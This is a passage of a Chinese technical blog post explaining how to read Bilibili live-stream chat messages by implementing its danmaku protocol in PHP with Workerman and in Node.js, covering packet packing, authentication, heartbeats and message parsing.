</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">empty</span><span class="p">(</span><span class="o">$</span><span class="n">data</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">unpack</span><span class="p">(</span><span class="s1">&#39;Npacket_len/nheader_len/nprotocol_version/Nopcode/Nmagic_number/a*payload&#39;</span><span class="p">,</span> <span class="o">$</span><span class="n">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><blockquote>
<p>a 表示字符串，* 表示任意长度，更严谨一点应该将 * 改为数据的长度（ 数据包总长度 - 头部长度）</p></blockquote>
<h3 id="使用-nodejs-处理协议">使用 Node.js 处理协议</h3>
<p>这篇文章发出来之后，我试着用 Node.js 来处理弹幕协议，发现写起来是真的舒服。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="k">const</span> <span class="n">PACKET_HEADER_LEN</span> <span class="o">=</span> <span class="mi">16</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">const</span> <span class="n">PACKET_PROTOCOL_VERSION</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">const</span> <span class="n">PACKET_MAGIC_NUMBER</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="n">Packet</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">static</span> <span class="n">pack</span><span class="p">(</span><span class="n">opcode</span><span class="p">,</span> <span class="n">payload</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">let</span> <span class="n">packet_len</span> <span class="o">=</span> <span class="n">PACKET_HEADER_LEN</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">payload</span><span class="o">.</span><span class="n">length</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">packet_len</span> <span class="o">+=</span> <span class="n">payload</span><span class="o">.</span><span class="n">length</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">let</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">Buffer</span><span class="o">.</span><span class="n">alloc</span><span class="p">(</span><span class="n">packet_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">buffer</span><span class="o">.</span><span class="n">writeInt32BE</span><span class="p">(</span><span class="n">packet_len</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">buffer</span><span class="o">.</span><span class="n">writeInt16BE</span><span class="p">(</span><span class="n">PACKET_HEADER_LEN</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">buffer</span><span class="o">.</span><span class="n">writeInt16BE</span><span class="p">(</span><span class="n">PACKET_PROTOCOL_VERSION</span><span class="p">,</span> <span class="mi">6</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">buffer</span><span class="o">.</span><span class="n">writeInt32BE</span><span class="p">(</span><span class="n">opcode</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">buffer</span><span class="o">.</span><span class="n">writeInt32BE</span><span class="p">(</span><span class="n">PACKET_MAGIC_NUMBER</span><span class="p">,</span> <span class="mi">12</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">payload</span><span class="o">.</span><span class="n">length</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">buffer</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">PACKET_HEADER_LEN</span><span class="p">,</span> <span class="n">payload</span><span class="o">.</span><span class="n">length</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">buffer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">static</span> <span class="n">unpack</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">let</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">Buffer</span><span class="o">.</span><span class="n">from</span><span class="p">(</span><span class="n">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">packet_len</span><span class="p">:</span> <span class="n">buffer</span><span class="o">.</span><span class="n">readInt32BE</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="n">header_len</span><span class="p">:</span> <span class="n">buffer</span><span class="o">.</span><span class="n">readInt16BE</span><span class="p">(</span><span class="mi">4</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="n">version</span><span class="p">:</span> <span class="n">buffer</span><span class="o">.</span><span class="n">readInt16BE</span><span class="p">(</span><span class="mi">6</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="n">opcode</span><span class="p">:</span> <span class="n">buffer</span><span class="o">.</span><span class="n">readInt32BE</span><span class="p">(</span><span class="mi">8</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="n">magic_number</span><span class="p">:</span> <span class="n">buffer</span><span class="o">.</span><span class="n">readInt32BE</span><span class="p">(</span><span class="mi">12</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span><span class="p">:</span> <span class="n">buffer</span><span class="o">.</span><span class="n">slice</span><span class="p">(</span><span class="n">PACKET_HEADER_LEN</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="与弹幕服务器的交互">与弹幕服务器的交互</h2>
<p>接下来看看如何通过弹幕服务器的认证，并在加入房间之后维护在线状态，我将这部分逻辑都放在了 BilibiliBarrage 类中。</p>
<h3 id="获取弹幕服务器信息">获取弹幕服务器信息</h3>
<p>在连接弹幕服务器之前，需要通过房间 id 获取到弹幕服务器的地址和端口号，还有认证需要用到的 token。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"> <span class="k">const</span> <span class="n">CHAT_CONFIG_URL</span> <span class="o">=</span> <span class="s1">&#39;https://api.live.bilibili.com/room/v1/Danmu/getConf?room_id=</span><span class="si">%d</span><span class="s1">&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">/**</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span> <span class="err">获取直播间配置</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span> <span class="err">@</span><span class="n">param</span> <span class="o">$</span><span class="n">room_id</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span> <span class="err">@</span><span class="k">return</span> <span class="n">mixed</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span> <span class="err">@</span><span class="n">throws</span> \<span class="n">Exception</span>
</span></span><span class="line"><span class="cl"> <span class="o">*/</span>
</span></span><span class="line"><span class="cl"><span class="n">public</span> <span class="k">static</span> <span class="n">function</span> <span class="n">getChatConfig</span><span class="p">(</span><span class="o">$</span><span class="n">room_id</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">isset</span><span class="p">(</span><span class="k">static</span><span class="p">::</span><span class="o">$</span><span class="n">roomConfigs</span><span class="p">[</span><span class="o">$</span><span class="n">room_id</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">static</span><span class="p">::</span><span class="o">$</span><span class="n">roomConfigs</span><span class="p">[</span><span class="o">$</span><span class="n">room_id</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="o">$</span><span class="n">response</span> <span class="o">=</span> <span class="n">file_get_contents</span><span class="p">(</span><span class="n">sprintf</span><span class="p">(</span><span class="bp">self</span><span class="p">::</span><span class="n">CHAT_CONFIG_URL</span><span class="p">,</span> <span class="o">$</span><span class="n">room_id</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="o">$</span><span class="n">response</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="o">$</span><span class="n">response</span><span class="p">,</span> <span class="bp">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">empty</span><span class="p">(</span><span class="o">$</span><span class="n">response</span><span class="p">)</span> <span class="o">||</span> <span class="o">$</span><span class="n">response</span><span class="p">[</span><span class="s1">&#39;code&#39;</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">throw</span> <span class="n">new</span> \<span class="n">Exception</span><span class="p">(</span><span class="s2">&#34;Get chat conf failed, reason: {$response[&#39;msg&#39;]}&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">static</span><span class="p">::</span><span class="o">$</span><span class="n">roomConfigs</span><span class="p">[</span><span class="o">$</span><span class="n">room_id</span><span class="p">]</span> <span class="o">=</span> <span class="o">$</span><span class="n">response</span><span class="p">[</span><span class="s1">&#39;data&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="o">$</span><span class="n">response</span><span class="p">[</span><span class="s1">&#39;data&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>接口返回的内容（省略掉了无关的内容）：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">    &#34;code&#34;:0,
</span></span><span class="line"><span class="cl">    &#34;msg&#34;:&#34;ok&#34;,
</span></span><span class="line"><span class="cl">    &#34;message&#34;:&#34;ok&#34;,
</span></span><span class="line"><span class="cl">    &#34;data&#34;:{
</span></span><span class="line"><span class="cl">        &#34;refresh_row_factor&#34;:0.125,
</span></span><span class="line"><span class="cl">        &#34;refresh_rate&#34;:100,
</span></span><span class="line"><span class="cl">        &#34;max_delay&#34;:5000,
</span></span><span class="line"><span class="cl">        &#34;port&#34;:2243,
</span></span><span class="line"><span class="cl">        &#34;host&#34;:&#34;broadcastlv.chat.bilibili.com&#34;,
</span></span><span class="line"><span class="cl">        &#34;token&#34;:&#34;pMF5ippgZMpHIHzTsfKHp9YyqmW3yEfuIuL3pXSMXJ8_9UFN-qSRIPTRxNjpNOr5HQ2-ajI0RcSQkMud2_-lMLoEN92k1glp9fOslshF5SFDqDhlEJRAvUwezoyz72ZdNh-sSqHMPsGOJGMOXZmRNA&#34;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">}
</span></span></code></pre></div><h3 id="认证并加入房间">认证并加入房间</h3>
<p>通过 data 中的 host 和 port 就可以对弹幕服务器发起连接，连接建立后需要发送认证包加入房间。</p>
<p>认证包的内容：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">  &#34;uid&#34;: &#34;0 表示未登录，否则为用户ID&#34;,
</span></span><span class="line"><span class="cl">  &#34;roomid&#34;: &#34;房间ID&#34;,
</span></span><span class="line"><span class="cl">  &#34;protover&#34;: &#34;协议版本号&#34;,
</span></span><span class="line"><span class="cl">  &#34;platform&#34;: &#34;平台&#34;,
</span></span><span class="line"><span class="cl">  &#34;clientver&#34;: &#34;客户端版本号&#34;,
</span></span><span class="line"><span class="cl">  &#34;token&#34;: &#34;接口返回的 token&#34;
</span></span><span class="line"><span class="cl">}
</span></span></code></pre></div><p>认证包的内容就是弹幕协议中携带的数据。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">public</span> <span class="k">static</span> <span class="n">function</span> <span class="n">getAuthenticatePacket</span><span class="p">(</span><span class="o">$</span><span class="n">room_id</span><span class="p">,</span> <span class="o">$</span><span class="n">token</span> <span class="o">=</span> <span class="n">null</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">empty</span><span class="p">(</span><span class="o">$</span><span class="n">token</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="o">$</span><span class="n">token</span> <span class="o">=</span> <span class="k">static</span><span class="p">::</span><span class="n">getChatConfig</span><span class="p">(</span><span class="o">$</span><span class="n">room_id</span><span class="p">)[</span><span class="s1">&#39;token&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="o">$</span><span class="n">payload</span> <span class="o">=</span> \<span class="n">json_encode</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;uid&#39;</span> <span class="o">=&gt;</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;roomid&#39;</span> <span class="o">=&gt;</span> <span class="o">$</span><span class="n">room_id</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;protover&#39;</span> <span class="o">=&gt;</span> <span class="n">Packet</span><span class="p">::</span><span class="n">PROTOCOL_VERSION</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;platform&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;web&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;token&#39;</span> <span class="o">=&gt;</span> <span class="o">$</span><span class="n">token</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">Packet</span><span class="p">::</span><span class="n">pack</span><span class="p">(</span><span class="n">Opcode</span><span class="p">::</span><span class="n">AUTHENTICATION</span><span class="p">,</span> <span class="o">$</span><span class="n">payload</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>返回的内容：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">\000\000\000�\000\000\000\000\000\000\000\000{&#34;uid&#34;:0,&#34;roomid&#34;:22590309,&#34;protover&#34;:2,&#34;platform&#34;:&#34;web&#34;,&#34;token&#34;:&#34;pMF5ippgZMpHIHzTsfKHp9YyqmW3yEfuIuL3pXSMXJ8_9UFN-qSRIPTRxNjpNOr5HQ2-ajI0RcSQkMud2_-lMLoEN92k1glp9fOslshF5SFDqDhlEJRAvUwezoyz72ZdNh-sSqHMPsGOJGMOXZmRNA&#34;}
</span></span></code></pre></div><p>弹幕服务器收到认证包后，会回复我们加入成功的消息，Packet::unpack 后得到消息内容：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">array</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;packet_len&#39;</span> <span class="o">=&gt;</span> <span class="ne">int</span><span class="p">(</span><span class="mi">26</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;header_len&#39;</span> <span class="o">=&gt;</span> <span class="ne">int</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;protocol_version&#39;</span> <span class="o">=&gt;</span> <span class="ne">int</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;opcode&#39;</span> <span class="o">=&gt;</span> <span class="ne">int</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;magic_number&#39;</span> <span class="o">=&gt;</span> <span class="ne">int</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;payload&#39;</span> <span class="o">=&gt;</span> <span class="n">string</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span> <span class="s2">&#34;{&#34;</span><span class="n">code</span><span class="s2">&#34;:0}&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>opcode 为 8 表示是服务器发送的心跳包，payload 是一个 JSON 字符串，code 为 0 表示连接成功。</p>
<p>这一步完成之后就可以收到弹幕消息了，但是还差最后一步。</p>
<h3 id="维持在线状态">维持在线状态</h3>
<p>弹幕服务器要求每隔 30 秒发送一次心跳包，以确定客户端还处于活跃状态。</p>
<p>心跳包没有数据，只需要发送 opcode 为 2 的数据包就可以了。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">public static function getHeartBeatPacket()
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">    return Packet::pack(Opcode::CLIENT_HEARTBEAT);
</span></span><span class="line"><span class="cl">}
</span></span></code></pre></div><blockquote>
<p>考虑到网络传输的因素，心跳包间隔时间一般设置小于 30 秒，防止一些原因导致心跳包没有及时发送。</p></blockquote>
<h2 id="实现弹幕客户端">实现弹幕客户端</h2>
<p>可以使用 Workerman、Swoole 甚至 PHP 原生 socket 来实现弹幕客户端，那为啥要用 Workerman 呢？</p>
<p>简单、方便，最重要的是写起来快，不用装扩展也没有原生 socket 那么繁杂，三两下就写完了。</p>
<p><img alt="一句话：就是通透" decoding="async" height="450" loading="lazy" sizes="(max-width: 768px) 100vw, (max-width: 1024px) 768px, 1024px" src="/posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/tongtou.jpg" srcset="/posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/tongtou_hu_fb3716554bf639cf.jpg 384w" style="max-width: 100%; height: auto; aspect-ratio: 1.0000;" width="450"></p>
<p>由于篇幅的原因，我会摘取重要的部分来讲，完整的代码可以去 GitHub 获取完整代码。</p>
<p>话不多说，干就完了。</p>
<h3 id="连接弹幕服务器">连接弹幕服务器</h3>
<p>Worker 进程启动后，通过 AsyncTcpConnection 创建异步 TCP 连接对象。</p>
<p>在 onConnect 回调中发送认证包、开启定时任务，每隔 20 秒发送一次心跳包。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$room_id = 22590309;
</span></span><span class="line"><span class="cl">/* 获取直播间配置 */
</span></span><span class="line"><span class="cl">$config = BilibiliBarrage::getChatConfig($room_id);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/* 创建异步 TCP 连接对象 */
</span></span><span class="line"><span class="cl">$conn = new AsyncTcpConnection(&#34;tcp://{$config[&#39;host&#39;]}:{$config[&#39;port&#39;]}&#34;);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$conn-&gt;onConnect = function(TcpConnection $conn) use ($room_id, $config) {
</span></span><span class="line"><span class="cl">    $packet = BilibiliBarrage::getAuthenticatePacket($room_id, $config[&#39;token&#39;]);
</span></span><span class="line"><span class="cl">    /* 发送认证包 */
</span></span><span class="line"><span class="cl">    $result = $conn-&gt;send($packet, true);
</span></span><span class="line"><span class="cl">    if (!$result) {
</span></span><span class="line"><span class="cl">        Worker::safeEcho(&#34;发送认证包失败\n&#34;);
</span></span><span class="line"><span class="cl">        return;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    /* 开启定时任务 */
</span></span><span class="line"><span class="cl">    Timer::add(BilibiliBarrage::HEART_BEAT_INTERVAL, function (TcpConnection $conn) {
</span></span><span class="line"><span class="cl">        /* 发送心跳包 */
</span></span><span class="line"><span class="cl">        $conn-&gt;send(BilibiliBarrage::getHeartBeatPacket(), true);
</span></span><span class="line"><span class="cl">    }, [$conn]);
</span></span><span class="line"><span class="cl">};
</span></span></code></pre></div><h3 id="处理弹幕消息">处理弹幕消息</h3>
<p>在 onMessage 回调中，先 unpack 数据，通过 opcode 判断本次消息是做什么的，不同的消息做不同的处理。如果 opcode 为 CMD，需要通过 Packet::parsePayload 解析数据才能得到真正的消息内容。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="o">$</span><span class="n">conn</span><span class="o">-&gt;</span><span class="n">onMessage</span> <span class="o">=</span> <span class="n">function</span><span class="p">(</span><span class="o">$</span><span class="n">conn</span><span class="p">,</span> <span class="o">$</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="o">$</span><span class="n">packet</span> <span class="o">=</span> <span class="n">Packet</span><span class="p">::</span><span class="n">unpack</span><span class="p">(</span><span class="o">$</span><span class="n">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="o">/*</span> <span class="err">通过</span> <span class="n">opcode</span> <span class="err">判断消息类型</span> <span class="o">*/</span>
</span></span><span class="line"><span class="cl">    <span class="k">switch</span> <span class="p">(</span><span class="o">$</span><span class="n">packet</span><span class="p">[</span><span class="s1">&#39;opcode&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="n">Opcode</span><span class="p">::</span><span class="n">POPULARITY_VALUE</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">Worker</span><span class="p">::</span><span class="n">safeEcho</span><span class="p">(</span><span class="n">sprintf</span><span class="p">(</span><span class="s2">&#34;人气值: </span><span class="si">%d</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">Packet</span><span class="p">::</span><span class="n">parsePayload</span><span class="p">(</span><span class="o">$</span><span class="n">packet</span><span class="p">[</span><span class="s1">&#39;opcode&#39;</span><span class="p">],</span> <span class="o">$</span><span class="n">packet</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">])));</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="n">Opcode</span><span class="p">::</span><span class="n">CMD</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="o">/*</span> <span class="err">解析数据</span> <span class="o">*/</span>
</span></span><span class="line"><span class="cl">            <span class="o">$</span><span class="n">payload</span> <span class="o">=</span> <span class="n">Packet</span><span class="p">::</span><span class="n">parsePayload</span><span class="p">(</span><span class="o">$</span><span class="n">packet</span><span class="p">[</span><span class="s1">&#39;opcode&#39;</span><span class="p">],</span> <span class="o">$</span><span class="n">packet</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">empty</span><span class="p">(</span><span class="o">$</span><span class="n">payload</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">switch</span> <span class="p">(</span><span class="o">$</span><span class="n">payload</span><span class="p">[</span><span class="s1">&#39;cmd&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">case</span> <span class="s1">&#39;INTERACT_WORD&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="n">Worker</span><span class="p">::</span><span class="n">safeEcho</span><span class="p">(</span><span class="s2">&#34;{$payload[&#39;data&#39;][&#39;uname&#39;]} 进入直播间</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">case</span> <span class="s1">&#39;DANMU_MSG&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="n">Worker</span><span class="p">::</span><span class="n">safeEcho</span><span class="p">(</span><span class="s2">&#34;{$payload[&#39;info&#39;][2][1]}: {$payload[&#39;info&#39;][1]}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">case</span> <span class="s1">&#39;SEND_GIFT&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="n">Worker</span><span class="p">::</span><span class="n">safeEcho</span><span class="p">(</span><span class="s2">&#34;{$payload[&#39;data&#39;][&#39;uname&#39;]} {$payload[&#39;data&#39;][&#39;action&#39;]} {$payload[&#39;data&#39;][&#39;giftName&#39;]}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">case</span> <span class="s1">&#39;COMBO_SEND&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="n">Worker</span><span class="p">::</span><span class="n">safeEcho</span><span class="p">(</span><span class="s2">&#34;{$payload[&#39;data&#39;][&#39;uname&#39;]} {$payload[&#39;data&#39;][&#39;action&#39;]} {$payload[&#39;data&#39;][&#39;gift_name&#39;]} [combo]</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="o">/*</span> <span class="err">更多命令查看</span> \<span class="n">App</span>\<span class="n">CMD</span><span class="o">.</span><span class="n">php</span> <span class="err">文件</span> <span class="o">*/</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="n">Opcode</span><span class="p">::</span><span class="n">SERVER_HEARTBEAT</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">Worker</span><span class="p">::</span><span class="n">safeEcho</span><span class="p">(</span><span class="s2">&#34;加入房间成功</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">default</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="o">/*</span> <span class="err">未知的</span> <span class="n">opcode</span> <span class="err">可以打印</span> <span class="n">packet</span> <span class="o">*/</span>
</span></span><span class="line"><span class="cl">            <span class="o">//</span> <span class="n">var_dump</span><span class="p">(</span><span class="o">$</span><span class="n">packet</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><h2 id="总结">总结</h2>
<p>最后附上一张运行图：</p>
<p><img decoding="async" height="487" loading="lazy" sizes="(max-width: 768px) 100vw, (max-width: 1024px) 768px, 1024px" src="/posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/bilibili-barrage-log.png" srcset="/posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/bilibili-barrage-log_hu_bd295d63d2f86ef0.png 384w, /posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/bilibili-barrage-log_hu_b939012d7ffe77bf.png 768w, /posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/bilibili-barrage-log_hu_d43cd76b4b9a22f7.png 1024w" style="max-width: 100%; height: auto; aspect-ratio: 2.1848;" width="1064"></p>
<blockquote>
<p>⚠️ 注意！！！本文及源码仅用于学习研究！请勿用于商业或非法目的，否则后果自负。</p></blockquote>
<p>相关链接：</p>
<ul>
<li><a href="https://github.com/copyliu/bililive_dm/">弹幕姬</a></li>
<li><a href="https://blog.csdn.net/xfgryujk/article/details/80306776">获取bilibili直播弹幕的WebSocket协议</a></li>
<li><a href="https://www.php.net/manual/zh/function.pack.php">PHP: pack - Manual </a></li>
<li><a href="https://github.com/her-cat/bilibili-barrage">本文源码</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>PHP 多进程下载必应壁纸</title>
